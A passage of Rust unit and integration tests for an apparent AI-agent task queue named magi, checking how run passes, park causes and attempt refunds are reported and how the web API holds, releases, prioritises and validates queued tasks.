14884 RunSlot {
14885 n: 1,
14886 resumed: false,
14887 resumed_later: None,
14888 prior: None,
14889 last: true,
14890 ..RunSlot::default()
14891 },
14892 &task,
14893 );
14894 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14895 }
14896
14897 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14898 let mut s = flow_run(RunStatus::Implementing, edit);
14899 s.parked = false;
14900 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14901 task_run_view(
14902 "20260902-140501-aaaa",
14903 Some(&s),
14904 RunSlot {
14905 n: 1,
14906 resumed: false,
14907 resumed_later: Some(2),
14908 prior: None,
14909 last: false,
14910 ..RunSlot::default()
14911 },
14912 &task,
14913 )
14914 }
14915
14916 #[test]
14917 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14918 let v = earlier_pass_view(|_| {});
14919 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14920 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14921 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14922 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14923 assert_eq!(v.exit, RunExit::Interrupted);
14924 assert_eq!(v.attempt, AttemptCost::Unknown);
14925 }
14926
14927 #[test]
14928 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14929 let v = earlier_pass_view(|s| {
14930 s.quota.push(crate::run::QuotaLoss {
14931 seat: "judge-1".to_owned(),
14932 node: "judge".to_owned(),
14933 at: Timestamp::now(),
14934 reset: None,
14935 });
14936 });
14937 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14938 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14939 assert_eq!(v.attempt, AttemptCost::Unknown);
14940 }
14941
14942 #[test]
14943 fn the_current_pass_states_its_recorded_cause_and_cost() {
14944 let slot = || RunSlot {
14945 n: 1,
14946 resumed: false,
14947 resumed_later: None,
14948 prior: None,
14949 last: true,
14950 ..RunSlot::default()
14951 };
14952 let task = flow_task(&["20260902-140501-aaaa"]);
14953 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14954 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14955 assert_eq!(
14956 (v.exit, v.attempt),
14957 (RunExit::Parked, AttemptCost::Refunded)
14958 );
14959 let spent = flow_run(RunStatus::Blocked, |_| {});
14960 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14961 assert_eq!(v.attempt, AttemptCost::Spent);
14962 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14963 }
14964
14965 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14966 crate::run::RunPass {
14967 index,
14968 started_at: Timestamp::now(),
14969 resumed: index > 0,
14970 ended_at: end.as_ref().map(|_| Timestamp::now()),
14971 end,
14972 task_entry: true,
14973 }
14974 }
14975
14976 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14977 Some(crate::run::PassEnd::Parked { cause })
14978 }
14979
14980 fn upgrade_cause() -> crate::run::ParkCause {
14981 crate::run::ParkCause::Upgrade {
14982 from: "0.121.0".to_owned(),
14983 to: Some("0.121.1".to_owned()),
14984 }
14985 }
14986
14987 fn settled_pass(
14988 run: &str,
14989 index: usize,
14990 cost: crate::queue::PassCost,
14991 ) -> crate::queue::TaskPass {
14992 crate::queue::TaskPass {
14993 run: run.to_owned(),
14994 pass_index: index,
14995 cost,
14996 attempts_after: 1,
14997 settled_at: Timestamp::now(),
14998 parked: None,
14999 }
15000 }
15001
15002 const RUN_X: &str = "20261011-223708-4334";
15003
15004 #[test]
15005 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15006 use crate::queue::PassCost;
15007 let run = flow_run(RunStatus::Implementing, |s| {
15008 s.passes = vec![
15009 recorded_pass(0, parked(upgrade_cause())),
15010 recorded_pass(1, None),
15011 ];
15012 });
15013 let mut task = flow_task(&[RUN_X, RUN_X]);
15014 task.attempts = 1;
15015 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15016 let h = task_history(&task, |_| Some(run.clone()));
15017 assert_eq!(h.len(), 2);
15018 assert_eq!(h[0].kind, "competition");
15019 assert_eq!(h[1].kind, "resume");
15020 assert_eq!(
15021 (h[0].exit, h[0].attempt),
15022 (RunExit::Parked, AttemptCost::Refunded)
15023 );
15024 assert!(
15025 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15026 "{}",
15027 h[0].outcome
15028 );
15029 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15030 assert!(
15031 h[0].outcome.contains("pass #2 resumed the same run"),
15032 "{}",
15033 h[0].outcome
15034 );
15035 assert!(
15036 h[0].outcome.contains("pass 1 of 2 over run"),
15037 "{}",
15038 h[0].outcome
15039 );
15040 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15041 assert_eq!(
15042 h[0].exit_label,
15043 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15044 );
15045 let f = task_flow(&task, &h, 2, None);
15046 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15048 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15049 assert!(
15050 f.edges[1].label.contains("upgrade 0.121.0"),
15051 "{}",
15052 f.edges[1].label
15053 );
15054 assert!(
15055 f.edges[1].label.contains("resume the same run"),
15056 "{}",
15057 f.edges[1].label
15058 );
15059 assert_eq!(f.nodes[1].note, Some("parked"));
15060 }
15061
15062 #[test]
15063 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15064 let mut a = flow_run(RunStatus::Implementing, |s| {
15065 s.passes = vec![
15066 recorded_pass(0, parked(upgrade_cause())),
15067 recorded_pass(1, None),
15068 ];
15069 });
15070 let mut b = flow_run(RunStatus::Failed, |s| {
15071 s.passes = vec![recorded_pass(0, None)];
15072 });
15073 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15074 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15075 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15076 let mut task = flow_task(&[]);
15077 task.start("a".into());
15078 task.start("b".into());
15079 task.start("a".into());
15080 assert_eq!(task.runs, ["b", "a"]);
15081 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15082 let h = task_history(&task, |id| {
15083 Some(if id == "a" { a.clone() } else { b.clone() })
15084 });
15085 assert_eq!(
15086 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15087 ["a", "b", "a"]
15088 );
15089 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15090 assert!(h[0].outcome.contains("upgrade"));
15091 assert_eq!(h[2].kind, "resume");
15092 assert!(h[2].pass.is_some());
15093 task.runs = vec!["a".into(), "b".into(), "a".into()];
15095 let old = task_history(&task, |id| {
15096 Some(if id == "a" { a.clone() } else { b.clone() })
15097 });
15098 assert_eq!(
15099 old.iter()
15100 .map(|v| (&v.id, &v.kind, v.attempt))
15101 .collect::<Vec<_>>(),
15102 h.iter()
15103 .map(|v| (&v.id, &v.kind, v.attempt))
15104 .collect::<Vec<_>>()
15105 );
15106 }
15107
15108 #[test]
15109 fn an_upgrade_whose_target_was_not_known_says_so() {
15110 let run = flow_run(RunStatus::Implementing, |s| {
15111 s.passes = vec![
15112 recorded_pass(
15113 0,
15114 parked(crate::run::ParkCause::Upgrade {
15115 from: "0.121.0".to_owned(),
15116 to: None,
15117 }),
15118 ),
15119 recorded_pass(1, None),
15120 ];
15121 });
15122 let task = flow_task(&[RUN_X, RUN_X]);
15123 let h = task_history(&task, |_| Some(run.clone()));
15124 assert!(
15125 h[0].outcome.contains("upgrade from 0.121.0"),
15126 "{}",
15127 h[0].outcome
15128 );
15129 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15131 }
15132
15133 #[test]
15134 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15135 use crate::queue::PassCost;
15136 use crate::run::ParkCause;
15137 let run = flow_run(RunStatus::Implementing, |s| {
15138 s.passes = vec![
15139 recorded_pass(0, parked(upgrade_cause())),
15140 recorded_pass(
15141 1,
15142 parked(ParkCause::Interrupt {
15143 reason: "task a1b2 asked to run first".to_owned(),
15144 }),
15145 ),
15146 recorded_pass(2, parked(ParkCause::Operator)),
15147 recorded_pass(3, None),
15148 ];
15149 });
15150 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15151 task.attempts = 1;
15152 task.passes = (0..3)
15153 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15154 .collect();
15155 let h = task_history(&task, |_| Some(run.clone()));
15156 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15157 assert!(
15158 h[1].outcome.contains("task a1b2 asked to run first"),
15159 "{}",
15160 h[1].outcome
15161 );
15162 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15163 assert!(
15164 h[2].outcome.contains("operator asked the loop to park"),
15165 "{}",
15166 h[2].outcome
15167 );
15168 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
15169 let f = task_flow(&task, &h, 2, None);
15170 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
15171 }
15172
15173 #[test]
15174 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
15175 let run = flow_run(RunStatus::Implementing, |s| {
15176 s.passes = vec![
15177 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
15178 recorded_pass(1, None),
15179 ];
15180 });
15181 let task = flow_task(&[RUN_X, RUN_X]);
15182 let h = task_history(&task, |_| Some(run.clone()));
15183 assert_eq!(h[0].exit, RunExit::Interrupted);
15184 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15185 assert!(
15186 h[0].outcome.contains("without recording why"),
15187 "{}",
15188 h[0].outcome
15189 );
15190 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15191 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
15192 }
15193
15194 #[test]
15195 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
15196 use crate::queue::PassCost;
15197 let run = flow_run(RunStatus::Implementing, |s| {
15200 s.passes = vec![
15201 recorded_pass(0, parked(upgrade_cause())),
15202 recorded_pass(1, None),
15203 ];
15204 });
15205 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
15206 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15207 let h = task_history(&task, |_| Some(run.clone()));
15208 assert!(h[0].pass.is_none());
15209 assert_eq!(h[0].exit, RunExit::Interrupted);
15210 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15211 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15212 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15213 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
15214 let legacy = flow_run(RunStatus::Implementing, |_| {});
15216 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
15217 assert!(h.iter().all(|v| v.pass.is_none()));
15218 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15219 }
15220
15221 #[test]
15222 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
15223 use crate::queue::PassCost;
15224 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
15227 web.task_entry = false;
15228 let run = flow_run(RunStatus::Implementing, |s| {
15229 s.passes = vec![
15230 recorded_pass(0, parked(upgrade_cause())),
15231 web.clone(),
15232 recorded_pass(2, None),
15233 ];
15234 });
15235 let mut task = flow_task(&[RUN_X, RUN_X]);
15236 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15237 let h = task_history(&task, |_| Some(run.clone()));
15238 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15239 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
15240
15241 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
15244 web0.task_entry = false;
15245 let run = flow_run(RunStatus::Implementing, |s| {
15246 s.passes = vec![web0.clone(), recorded_pass(1, None)];
15247 });
15248 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
15249 assert!(h[0].pass.is_none());
15250 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15251 assert!(h[1].pass.is_some());
15252 }
15253
15254 #[tokio::test]
15255 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
15256 let dir = tempfile::tempdir().unwrap();
15257 let queue = Queue::at(dir.path().join("queue"));
15258 let ui = Arc::new(Ui::new(
15259 queue.clone(),
15260 Questions::at(dir.path().join("questions")),
15261 Talks::at(dir.path().join("talks")),
15262 dir.path().join("runs"),
15263 dir.path().to_path_buf(),
15264 dir.path().to_path_buf(),
15265 ));
15266 let mut t = Task::new(
15267 "recover".into(),
15268 "Inspect".into(),
15269 PathBuf::from("."),
15270 Source::Human,
15271 );
15272 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
15273 t.start("run-A".into());
15274 t.release_operator("choice", Some("resume-question"));
15275 t.resume_override = Some(crate::queue::OperatorResume {
15276 question_id: "resume-question".into(),
15277 at: jiff::Timestamp::now(),
15278 conductor_rehold: None,
15279 forced: true,
15280 pinned_run: Some("run-A".into()),
15281 });
15282 t.hold_machine(Some("inspection pending".into()));
15283 t.edit("recover".into(), "Reuse approved PR head".into())
15284 .unwrap();
15285 queue.put(&mut t).unwrap();
15286 let mut cli = t.clone();
15287 cli.release_operator("cli", None);
15288 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
15289 let reloaded = queue.get(&t.id).unwrap();
15290 assert_eq!(reply.task.status, TaskStatus::Queued);
15291 assert!(reloaded.resume_override.is_none());
15292 assert_eq!(reloaded.answers, t.answers);
15293 let mut web = reloaded.resumption.unwrap();
15294 let cli = cli.resumption.unwrap();
15295 assert_eq!(web.source, "web");
15296 web.source = cli.source.clone();
15297 web.at = cli.at;
15298 assert_eq!(web, cli);
15299 }
15300
15301 #[tokio::test]
15302 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
15303 let f = Fixture::start().await;
15304 let queue = f.queue();
15305 let mut task = Task::new(
15306 "spent".to_owned(),
15307 "Try again".to_owned(),
15308 PathBuf::from("/repo/magi"),
15309 Source::Human,
15310 );
15311 task.start("20260902-140502-bbbb".to_owned());
15312 task.fail("agent gave up", 9);
15313 queue.put(&mut task).expect("file the task");
15314
15315 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15316 assert_eq!(held.status, 200);
15317 assert_eq!(held.json()["status_str"], "held");
15318
15319 let released = f
15320 .post(&format!("/api/queue/{}/release", task.id), None)
15321 .await;
15322 assert_eq!(released.status, 200);
15323 assert_eq!(released.json()["status_str"], "queued");
15324 assert_eq!(released.json()["resumption"]["source"], "web");
15325 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
15326 let mut cli = task.clone();
15327 cli.release_operator("cli", None);
15328 let web = queue.get(&task.id).unwrap().resumption.unwrap();
15329 let cli = cli.resumption.unwrap();
15330 assert_eq!(web.instruction, cli.instruction);
15331 assert_eq!(web.answers_through, cli.answers_through);
15332 assert_eq!(web.runs_through, cli.runs_through);
15333 assert_eq!(web.cleared_reason, cli.cleared_reason);
15334 assert_eq!(
15335 released.json()["attempts"],
15336 0,
15337 "release is a real second chance, not an instant re-hold"
15338 );
15339 assert_eq!(
15340 queue.get(&task.id).expect("reload").status,
15341 TaskStatus::Queued,
15342 "the change is on disk, not only in the reply"
15343 );
15344 assert!(
15345 !f.home
15346 .path()
15347 .join("queue")
15348 .join(format!("{}.lock", task.id))
15349 .exists(),
15350 "the claim the mutation took is released again"
15351 );
15352 }
15353
15354 #[tokio::test]
15355 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
15356 let f = Fixture::start().await;
15357 let queue = f.queue();
15358 let mut task = Task::new(
15359 "busy".to_owned(),
15360 "Running right now".to_owned(),
15361 PathBuf::from("/repo/magi"),
15362 Source::Human,
15363 );
15364 queue.put(&mut task).expect("file the task");
15365 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15366
15367 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15368
15369 assert_eq!(res.status, 409);
15370 assert_eq!(
15371 queue.get(&task.id).expect("reload").status,
15372 TaskStatus::Queued,
15373 "the refused hold changed nothing"
15374 );
15375 }
15376
15377 #[tokio::test]
15378 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
15379 let f = Fixture::start().await;
15380 let queue = f.queue();
15381 let mut task = Task::new(
15382 "waiting on the migration".to_owned(),
15383 "Do the thing".to_owned(),
15384 PathBuf::from("/repo/magi"),
15385 Source::Human,
15386 );
15387 queue.put(&mut task).expect("file the task");
15388
15389 let held = f
15390 .post(
15391 &format!("/api/queue/{}/hold", task.id),
15392 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
15393 )
15394 .await;
15395 assert_eq!(held.status, 200, "{}", held.body);
15396 assert_eq!(held.json()["status_str"], "held");
15397 assert_eq!(
15398 held.json()["hold_reason"],
15399 "waiting for 20260101-000000-aaaa to land"
15400 );
15401
15402 let listed = f.get("/api/queue").await.json();
15403 assert_eq!(
15404 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
15405 "the card reads the reason off the same list route"
15406 );
15407
15408 let mut plain = Task::new(
15411 "no reason given".to_owned(),
15412 "Do another thing".to_owned(),
15413 PathBuf::from("/repo/magi"),
15414 Source::Human,
15415 );
15416 queue.put(&mut plain).expect("file the task");
15417 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
15418 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
15419 assert!(held_plain.json()["hold_reason"].is_null());
15420
15421 let released = f
15422 .post(&format!("/api/queue/{}/release", task.id), None)
15423 .await;
15424 assert_eq!(released.status, 200);
15425 assert!(
15426 released.json()["hold_reason"].is_null(),
15427 "a release must clear the reason so the next hold does not inherit it"
15428 );
15429 }
15430
15431 #[test]
15432 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
15433 for urgent in [true, false] {
15434 let body: UrgentBody =
15435 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
15436 assert_eq!(body.urgent, urgent);
15437 }
15438 for input in [
15439 r#"{}"#,
15440 r#"{"urgent":null}"#,
15441 r#"{"urgent":"true"}"#,
15442 r#"{"urgent":1}"#,
15443 r#"{"urgent":true,"extra":false}"#,
15444 ] {
15445 assert!(
15446 serde_json::from_str::<UrgentBody>(input).is_err(),
15447 "{input}"
15448 );
15449 }
15450 }
15451
15452 #[tokio::test]
15453 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
15454 let home = TempDir::new().unwrap();
15455 let q = Queue::at(home.path().join("queue"));
15456 let ui = Arc::new(Ui::new(
15457 q.clone(),
15458 Questions::at(home.path().join("questions")),
15459 Talks::at(home.path().join("talks")),
15460 home.path().join("runs"),
15461 home.path().into(),
15462 home.path().into(),
15463 ));
15464 let mut task = Task::new(
15465 "urgent handler".into(),
15466 "keep".into(),
15467 home.path().into(),
15468 Source::Human,
15469 );
15470 for status in [TaskStatus::Queued, TaskStatus::Held] {
15471 task.status = status;
15472 q.put(&mut task).unwrap();
15473 for urgent in [true, true, false, false] {
15474 let saved = queue_urgent(
15475 State(Arc::clone(&ui)),
15476 Path(task.short().into()),
15477 Ok(Json(UrgentBody { urgent })),
15478 )
15479 .await
15480 .unwrap();
15481 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
15482 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
15483 }
15484 }
15485 task.status = TaskStatus::Queued;
15486 q.put(&mut task).unwrap();
15487 let claim = q.claim(&task.id).unwrap();
15488 let error = queue_urgent(
15489 State(Arc::clone(&ui)),
15490 Path(task.id.clone()),
15491 Ok(Json(UrgentBody { urgent: true })),
15492 )
15493 .await
15494 .unwrap_err();
15495 assert_eq!(error.status, StatusCode::CONFLICT);
15496 assert!(error.message.contains("released"));
15497 drop(claim);
15498 for status in [
15499 TaskStatus::Running,
15500 TaskStatus::Done,
15501 TaskStatus::Failed,
15502 TaskStatus::Blocked,
15503 TaskStatus::Parked,
15504 ] {
15505 task.status = status;
15506 q.put(&mut task).unwrap();
15507 let error = queue_urgent(
15508 State(Arc::clone(&ui)),
15509 Path(task.id.clone()),
15510 Ok(Json(UrgentBody { urgent: false })),
15511 )
15512 .await
15513 .unwrap_err();
15514 assert_eq!(error.status, StatusCode::BAD_REQUEST);
15515 assert!(error.message.contains(status.as_str()));
15516 }
15517 }
15518
15519 #[tokio::test]
15520 async fn urgent_api_updates_preserves_and_validates_tasks() {
15521 let f = Fixture::start().await;
15522 let q = f.queue();
15523 let mut t = Task::new(
15524 "urgent API".into(),
15525 "unchanged".into(),
15526 PathBuf::from("/repo/magi"),
15527 Source::Human,
15528 );
15529 t.attempts = 2;
15530 t.priority = 9;
15531 t.interrupt = true;
15532 t.hold_reason = Some("waiting for approval".into());
15533 for status in [TaskStatus::Queued, TaskStatus::Held] {
15534 t.status = status;
15535 q.put(&mut t).unwrap();
15536 for urgent in [true, true, false, false] {
15537 let response = f
15538 .post(
15539 &format!("/api/queue/{}/urgent", t.short()),
15540 Some(&format!("{{\"urgent\":{urgent}}}")),
15541 )
15542 .await;
15543 assert_eq!(response.status, 200, "{}", response.body);
15544 assert_eq!(response.json()["urgent"], urgent);
15545 let saved = q.get(&t.id).unwrap();
15546 let mut before = serde_json::to_value(&t).unwrap();
15547 let mut after = serde_json::to_value(saved).unwrap();
15548 before["urgent"] = urgent.into();
15549 before.as_object_mut().unwrap().remove("updated_at");
15550 after.as_object_mut().unwrap().remove("updated_at");
15551 assert_eq!(after, before);
15552 }
15553 }
15554 let route = format!("/api/queue/{}/urgent", t.id);
15555 for body in [
15556 r#"{}"#,
15557 r#"{"urgent":null}"#,
15558 r#"{"urgent":"true"}"#,
15559 r#"{"urgent":1}"#,
15560 r#"{"urgent":true,"extra":false}"#,
15561 "{",
15562 ] {
15563 assert_eq!(f.post(&route, Some(body)).await.status, 400);
15564 }
15565 t.status = TaskStatus::Queued;
15566 q.put(&mut t).unwrap();
15567 let claim = q.claim(&t.id).unwrap();
15568 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15569 assert_eq!(response.status, 409, "{}", response.body);
15570 assert!(!q.get(&t.id).unwrap().urgent);
15571 drop(claim);
15572 for status in [
15573 TaskStatus::Running,
15574 TaskStatus::Done,
15575 TaskStatus::Failed,
15576 TaskStatus::Blocked,
15577 TaskStatus::Parked,
15578 ] {
15579 t.status = status;
15580 q.put(&mut t).unwrap();
15581 for urgent in [true, false] {
15582 let response = f
15583 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15584 .await;
15585 assert_eq!(response.status, 400, "{}", response.body);
15586 assert!(response.body.contains(status.as_str()));
15587 assert!(response.body.contains("queued or held"));
15588 assert!(!q.get(&t.id).unwrap().urgent);
15589 }
15590 }
15591 assert_eq!(
15592 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15593 .await
15594 .status,
15595 404
15596 );
15597 }
15598
15599 #[tokio::test]
15600 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15601 let f = Fixture::start().await;
15602 let queue = f.queue();
15603 let mut older = Task::new(
15604 "filed first".to_owned(),
15605 "x".to_owned(),
15606 PathBuf::from("/repo/magi"),
15607 Source::Human,
15608 );
15609 older.id = "20260101-000001-aaaa".to_owned();
15610 let mut newer = Task::new(
15611 "filed second".to_owned(),
15612 "x".to_owned(),
15613 PathBuf::from("/repo/magi"),
15614 Source::Human,
15615 );
15616 newer.id = "20260101-000002-bbbb".to_owned();
15617 queue.put(&mut older).expect("file older");
15618 queue.put(&mut newer).expect("file newer");
15619
15620 let before = f.get("/api/queue").await.json();
15623 assert_eq!(before[0]["id"], newer.id);
15624 assert_eq!(before[1]["id"], older.id);
15625
15626 let raised = f
15630 .post(
15631 &format!("/api/queue/{}/priority", older.id),
15632 Some(r#"{"priority":10}"#),
15633 )
15634 .await;
15635 assert_eq!(raised.status, 200, "{}", raised.body);
15636 assert_eq!(raised.json()["priority"], 10);
15637
15638 let after = f.get("/api/queue").await.json();
15639 let names: Vec<&str> = after
15640 .as_array()
15641 .unwrap()
15642 .iter()
15643 .map(|t| t["id"].as_str().unwrap())
15644 .collect();
15645 assert_eq!(names[0], older.id, "the raised task now sorts first");
15649 }
15650
15651 #[tokio::test]
15652 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15653 let dir = TempDir::new().unwrap();
15654 let q = Queue::at(dir.path().join("queue"));
15655 let ui = Arc::new(Ui::new(
15656 q.clone(),
15657 Questions::at(dir.path().join("questions")),
15658 Talks::at(dir.path().join("talks")),
15659 dir.path().join("runs"),
15660 dir.path().to_path_buf(),
15661 dir.path().to_path_buf(),
15662 ));
15663 let mut t = Task::new(
15664 "budget".into(),
15665 "keep".into(),
15666 dir.path().into(),
15667 Source::Human,
15668 );
15669 t.attempts = 2;
15670 t.runs.push("prior-run".into());
15671 t.hold_manual(Some("waiting".into()));
15672 q.put(&mut t).unwrap();
15673 let change = |value| {
15674 queue_attempt_limit(
15675 State(ui.clone()),
15676 Path(t.id.clone()),
15677 Ok(Json(AttemptLimitBody {
15678 attempt_limit: value,
15679 })),
15680 )
15681 };
15682 for value in [
15683 serde_json::json!(3),
15684 serde_json::Value::Null,
15685 serde_json::json!(1),
15686 ] {
15687 let response = change(value.clone()).await.unwrap();
15688 assert_eq!(
15689 serde_json::to_value(response.0).unwrap()["attempt_limit"],
15690 value
15691 );
15692 let saved = q.get(&t.id).unwrap();
15693 assert_eq!(
15694 serde_json::to_value(&saved).unwrap()["attempt_limit"],
15695 value
15696 );
15697 assert_eq!(saved.status, TaskStatus::Held);
15698 assert_eq!(saved.attempts, t.attempts);
15699 assert_eq!(saved.runs, t.runs);
15700 assert_eq!(saved.hold_reason, t.hold_reason);
15701 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15702 .await
15703 .unwrap()
15704 .0;
15705 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15706 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15707 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15708 assert_eq!(outcome.max_attempts, detail.max_attempts);
15709 }
15710 for value in [
15711 serde_json::json!(0),
15712 serde_json::json!(-1),
15713 serde_json::json!(1.5),
15714 serde_json::json!("3"),
15715 serde_json::json!(true),
15716 ] {
15717 assert_eq!(
15718 change(value).await.err().unwrap().status,
15719 StatusCode::BAD_REQUEST
15720 );
15721 }
15722 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15723 let claim = q.claim(&t.id).unwrap();
15724 assert_eq!(
15725 change(serde_json::json!(4)).await.err().unwrap().status,
15726 StatusCode::CONFLICT
15727 );
15728 drop(claim);
15729 for status in [
15730 TaskStatus::Running,
15731 TaskStatus::Done,
15732 TaskStatus::Failed,
15733 TaskStatus::Blocked,
15734 TaskStatus::Parked,
15735 ] {
15736 let mut stored = q.get(&t.id).unwrap();
15737 stored.status = status;
15738 q.put(&mut stored).unwrap();
15739 assert_eq!(
15740 change(serde_json::json!(4)).await.err().unwrap().status,
15741 StatusCode::BAD_REQUEST
15742 );
15743 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15744 }
15745 let mut stored = q.get(&t.id).unwrap();
15746 stored.status = TaskStatus::Queued;
15747 q.put(&mut stored).unwrap();
15748 let _ = change(serde_json::Value::Null).await.unwrap();
15749 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15750 }
15751
15752 #[tokio::test]
15753 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15754 let dir = TempDir::new().unwrap();
15755 let repo = dir.path().join("repo");
15756 std::fs::create_dir(&repo).unwrap();
15757 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15758 let q = Queue::at(dir.path().join("queue"));
15759 let ui = Arc::new(Ui::new(
15760 q.clone(),
15761 Questions::at(dir.path().join("questions")),
15762 Talks::at(dir.path().join("talks")),
15763 dir.path().join("runs"),
15764 dir.path().to_path_buf(),
15765 repo.clone(),
15766 ));
15767 let mut t = Task::new(
15768 "seats".into(),
15769 "keep instruction".into(),
15770 repo,
15771 Source::Human,
15772 );
15773 t.runs.push("prior-run".into());
15774 t.hold_manual(Some("waiting".into()));
15775 q.put(&mut t).unwrap();
15776 let change = |count| {
15777 queue_implementers(
15778 State(ui.clone()),
15779 Path(t.id.clone()),
15780 Ok(Json(ImplementersBody {
15781 implementers: count,
15782 })),
15783 )
15784 };
15785 for count in [2, 1, 2] {
15786 let response = change(count).await.unwrap();
15787 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15788 let saved = q.get(&t.id).unwrap();
15789 assert_eq!(saved.implementers(), Some(usize::from(count)));
15790 assert_eq!(saved.runs, t.runs);
15791 assert_eq!(saved.instruction, t.instruction);
15792 }
15793 for count in [0, 4] {
15794 assert_eq!(
15795 change(count).await.err().unwrap().status,
15796 StatusCode::BAD_REQUEST
15797 );
15798 }
15799 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15800 let claim = q.claim(&t.id).unwrap();
15801 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15802 drop(claim);
15803 for status in [
